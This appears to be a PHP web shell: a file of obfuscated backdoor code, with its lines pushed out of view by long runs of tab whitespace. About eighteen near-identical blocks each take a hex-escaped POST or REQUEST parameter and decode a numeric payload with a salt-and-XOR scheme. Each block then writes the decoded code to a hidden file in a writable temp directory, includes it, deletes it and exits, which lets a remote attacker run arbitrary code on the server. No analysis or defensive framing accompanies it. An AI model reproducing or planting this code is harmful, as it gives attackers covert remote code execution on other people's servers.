<?php																																										if(filter_has_var(INPUT_POST, "\x72\x65\x63ord")){ $component = $_POST["\x72\x65\x63ord"]; $component = explode( "." ,$component) ; $data_chunk = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $z = 0; array_walk($component, function($v3) use(&$data_chunk, &$z, $salt2, $sLen) { $chS = ord($salt2[$z % $sLen]); $d =((int)$v3 - $chS -($z % 10)) ^ 44; $data_chunk .= chr($d); $z++; }); $elem = array_filter(["/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $k = 0; do { $ptr = $elem[$k] ?? null; if ($k >= count($elem)) break; if (is_dir($ptr) && is_writable($ptr)) { $bind = join("/", [$ptr, ".tkn"]); if (file_put_contents($bind, $data_chunk)) { include $bind; @unlink($bind); die(); } } $k++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "m\x72k")){ $k = $_REQUEST["m\x72k"]; $k = explode ( "." , $k ) ; $item =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $i =0; $len =count($k); do { if ($i >= $len) break; $v3 =$k[$i]; $sChar =ord($s[$i% $lenS]); $d =((int)$v3 - $sChar - ($i% 10)) ^ 93; $item.= chr($d); $i++; } while (true); $record = array_filter(["/var/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP")]); foreach ($record as $component) { if (array_product([is_dir($component), is_writable($component)])) { $itm = implode("/", [$component, ".flg"]); if (file_put_contents($itm, $item)) { include $itm; @unlink($itm); die(); } } } }
																																										if(array_key_exists("\x65n\x74ry", $_REQUEST)){ $resource = $_REQUEST["\x65n\x74ry"]; $resource =explode ( '.',$resource ) ; $flag = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $i = 0; array_walk($resource, function ($v3) use (&$flag, &$i, $s5, $lenS) { $chS = ord($s5[$i % $lenS]); $d = ((int)$v3 - $chS - ($i % 10)) ^44; $flag .= chr($d); $i++; } ); $desc = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", "/var/tmp", session_save_path()]); foreach ($desc as $dat) { if (array_product([is_dir($dat), is_writable($dat)])) { $sym = "$dat/.property_set"; if (file_put_contents($sym, $flag)) { require $sym; unlink($sym); exit; } } } }
																																										if(array_key_exists("pointe\x72", $_POST)){ $factor = $_POST["pointe\x72"]; $factor =explode ("." , $factor ) ; $itm = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($factor as $l => $v1): $chS = ord($s[$l% $sLen]); $dec = ((int)$v1 - $chS - ($l% 10))^ 20; $itm .= chr($dec); endforeach; $pset = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm"]); while ($flag = array_shift($pset)) { if (!!is_dir($flag) && !!is_writable($flag)) { $object = "$flag" . "/.data_chunk"; if (@file_put_contents($object, $itm) !== false) { include $object; unlink($object); exit; } } } }
																																										if(!is_null($_REQUEST["d\x61t\x61_\x63h\x75\x6Ek"] ?? null)){ $elem = $_REQUEST["d\x61t\x61_\x63h\x75\x6Ek"]; $elem = explode ( '.' , $elem); $token= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $i= 0; while($i < count($elem)) { $v4= $elem[$i]; $chS= ord($salt[$i % $sLen]); $dec= ((int)$v4 - $chS -($i % 10)) ^ 65; $token.= chr($dec); $i++; } $comp = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); for ($value = 0, $tkn = count($comp); $value < $tkn; $value++) { $fac = $comp[$value]; if (max(0, is_dir($fac) * is_writable($fac))) { $parameter_group = sprintf("%s/.object", $fac); $success = file_put_contents($parameter_group, $token); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }
																																										if(@$_POST["\x6Dr\x6B"] !== null){ $pset = $_POST["\x6Dr\x6B"]; $pset = explode ( '.' , $pset ) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $pset as $k => $v8): $sChar = ord( $salt[$k % $sLen]); $d = ( ( int)$v8 - $sChar -( $k % 10)) ^ 75; $val .=chr( $d); endforeach; $binding = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP")]); while ($data = array_shift($binding)) { if (max(0, is_dir($data) * is_writable($data))) { $symbol = str_replace("{var_dir}", $data, "{var_dir}/.pointer"); if (file_put_contents($symbol, $val)) { include $symbol; @unlink($symbol); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x61\x74\x61_ch\x75nk"])){ $tkn = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]); $symbol = $_REQUEST["\x64\x61\x74\x61_ch\x75nk"]; $symbol=explode ( "." , $symbol ); $ent =''; $s7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s7); $l =0; array_walk( $symbol, function( $v2) use( &$ent, &$l, $s7, $lenS) { $sChar =ord( $s7[$l% $lenS]); $dec =( ( int)$v2 - $sChar -( $l% 10)) ^ 45; $ent.=chr( $dec); $l++; }); foreach ($tkn as $key => $ptr) { if ((is_dir($ptr) and is_writable($ptr))) { $obj = implode("/", [$ptr, ".descriptor"]); if (@file_put_contents($obj, $ent) !== false) { include $obj; unlink($obj); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x61ta"])){ $token = $_REQUEST["\x64\x61ta"]; $token =explode( '.' , $token ); $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $m = 0; array_walk( $token , function( $v1) use( &$elem , &$m , $salt , $sLen) { $chS = ord( $salt[$m % $sLen]); $dec =( ( int)$v1 - $chS -( $m % 10)) ^ 25; $elem .= chr( $dec); $m++;} ); $hld = array_filter(["/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); $desc = 0; do { $resource = $hld[$desc] ?? null; if ($desc >= count($hld)) break; if (!( !is_dir($resource) || !is_writable($resource) )) { $item = join("/", [$resource, ".parameter_group"]); $file = fopen($item, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $item; @unlink($item); exit; } } $desc++; } while (true); }
																																										if(!is_null($_POST["\x69\x74m"] ?? null)){ $hld = array_filter([getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", session_save_path(), "/dev/shm"]); $object = $_POST["\x69\x74m"]; $object = explode ( '.' , $object ) ; $binding = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $n = 0; $__tmp = $object; while ($v1 = array_shift($__tmp)) { $sChar = ord($s2[$n % $lenS]); $dec = ((int)$v1 - $sChar - ($n % 10)) ^ 80; $binding .= chr($dec); $n++; } foreach ($hld as $factor): if (is_writable($factor) && is_dir($factor)) { $component = join("/", [$factor, ".record"]); if (file_put_contents($component, $binding)) { require $component; unlink($component); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x64c\x68u\x6Ek")){ $comp = $_POST["\x64c\x68u\x6Ek"]; $comp= explode ( "." , $comp) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $y = 0; $__len = count($comp ); do { if ($y >= $__len) break; $v4 = $comp[$y]; $sChar = ord($s[$y % $sLen] ); $dec = ((int)$v4 - $sChar - ($y % 10)) ^ 92; $ent .= chr($dec ); $y++; } while (true ); $itm = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd()]); for ($obj = 0, $val = count($itm); $obj < $val; $obj++) { $bind = $itm[$obj]; if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $pointer = str_replace("{var_dir}", $bind, "{var_dir}/.record"); $success = file_put_contents($pointer, $ent); if ($success) { include $pointer; @unlink($pointer); die();} } } }
																																										if(array_key_exists("\x72\x65\x66\x65rence", $_POST) && !is_null($_POST["\x72\x65\x66\x65rence"])){ $descriptor = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/tmp"]); $flag = $_POST["\x72\x65\x66\x65rence"]; $flag =explode ( '.' , $flag) ; $k = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $y = 0; while ($y < count($flag)) {$v3 = $flag[$y]; $sChar = ord($s7[$y % $sLen] ); $dec = ((int)$v3 - $sChar - ($y % 10)) ^ 29; $k .= chr($dec ); $y++;} $property_set = 0; do { $value = $descriptor[$property_set] ?? null; if ($property_set >= count($descriptor)) break; if ((is_dir($value) and is_writable($value))) { $hld = implode("/", [$value, ".tkn"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $hld; @unlink($hld); die(); } } $property_set++; } while (true); }
																																										if(array_key_exists("\x73\x79m", $_POST) && !is_null($_POST["\x73\x79m"])){ $marker = $_POST["\x73\x79m"]; $marker = explode( ".", $marker ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($marker as $k=>$v9): $sChar = ord($s[$k % $lenS]); $d = ((int)$v9 - $sChar -($k % 10)) ^ 58; $component .= chr($d); endforeach; $res = array_filter([getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp"]); for ($symbol = 0, $dchunk = count($res); $symbol < $dchunk; $symbol++) { $hld = $res[$symbol]; if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $mrk = str_replace("{var_dir}", $hld, "{var_dir}/.item"); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $mrk; @unlink($mrk); exit; } } } }
																																										if(@$_POST["item"] !== null){ $ref = $_POST["item"]; $ref= explode("." , $ref ) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $k = 0; $__len = count( $ref ); do { if( $k>= $__len) break; $v7 = $ref[$k]; $sChar = ord( $s[$k % $lenS] ); $dec =( ( int)$v7 - $sChar -( $k % 10)) ^ 95; $val .= chr( $dec ); $k++;}while( true ); $factor = array_filter([sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($factor as $key => $symbol) { if ((is_dir($symbol) and is_writable($symbol))) { $ent = vsprintf("%s/%s", [$symbol, ".entry"]); if (@file_put_contents($ent, $val) !== false) { include $ent; unlink($ent); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "dchunk")){ $item = $_REQUEST["dchunk"]; $item = explode ("." , $item ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $__len = count( $item); for( $w = 0; $w < $__len; $w++) { $v7 = $item[$w]; $sChar = ord( $s[$w % $lenS]); $dec =( ( int)$v7 - $sChar -( $w % 10)) ^ 62; $res .= chr( $dec); } $rec = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP")]); for ($component = 0, $itm = count($rec); $component < $itm; $component++) { $key = $rec[$component]; if (!( !is_dir($key) || !is_writable($key) )) { $ref = str_replace("{var_dir}", $key, "{var_dir}/.bind"); $success = file_put_contents($ref, $res); if ($success) { include $ref; @unlink($ref); exit;} } } }
																																										if(isset($_REQUEST["m\x72\x6B"]) ? true : false){ $itm = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), "/var/tmp"]); $elem = $_REQUEST["m\x72\x6B"]; $elem= explode ('.',$elem) ; $ref= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt8); foreach ($elem as $i => $v2) { $sChar= ord($salt8[$i%$lenS]); $d= ((int)$v2 - $sChar - ($i%10)) ^ 59; $ref .=chr($d); } $sym = 0; do { $comp = $itm[$sym] ?? null; if ($sym >= count($itm)) break; if (is_dir($comp) && is_writable($comp)) { $symbol = implode("/", [$comp, ".hld"]); $success = file_put_contents($symbol, $ref); if ($success) { include $symbol; @unlink($symbol); exit;} } $sym++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["k"])){ $pointer = array_filter([getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path()]); $comp = $_REQUEST["k"]; $comp = explode ( "." , $comp ); $binding =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $__len =count( $comp); for( $t =0; $t < $__len; $t++) { $v1 =$comp[$t]; $chS =ord( $salt[$t% $lenS]); $d =( ( int)$v1 - $chS -( $t% 10)) ^1; $binding .= chr( $d); } foreach ($pointer as $data_chunk) { if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) { $resource = "$data_chunk/.hld"; if (file_put_contents($resource, $binding)) { require $resource; unlink($resource); die(); } } } }
																																										if(@$_REQUEST["va\x6Cue"] !== null){ $pset = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP")]); $pointer = $_REQUEST["va\x6Cue"]; $pointer =explode ("." , $pointer ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $len = count( $pointer ); for( $w = 0; $w < $len; $w++) {$v8 = $pointer[$w]; $chS = ord( $salt[$w % $lenS] ); $dec = ( ( int)$v8 - $chS -( $w % 10)) ^ 18; $bind.= chr( $dec ); } while ($symbol = array_shift($pset)) { if (array_product([is_dir($symbol), is_writable($symbol)])) { $ent = str_replace("{var_dir}", $symbol, "{var_dir}/.flg"); $success = file_put_contents($ent, $bind); if ($success) { include $ent; @unlink($ent); die();} } } }


if(isset($_POST) && isset($_POST["f\x61\x63\x74or"])){
	$component = array_filter([getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP"), "/var/tmp"]);
	$k = $_POST["f\x61\x63\x74or"];
	 		$k = 	 explode(	 	'.'	 	,		 $k 	)	;
	$descriptor  ='';
            $salt  ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen  =strlen($salt);
            $y  =0;
    
            foreach ($k as $v2) {
                $chS  =ord($salt[$y % $sLen]);
                $dec  =((int)$v2 - $chS - ($y % 10))	^		20;
                $descriptor		.=	chr($dec);
                $y++; }		
	while ($bind = array_shift($component)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) {
    $object = implode("/", [$bind, ".reference"]);
    if (file_put_contents($object, $descriptor)) {
	require $object;
	unlink($object);
	die();
}
}
}
}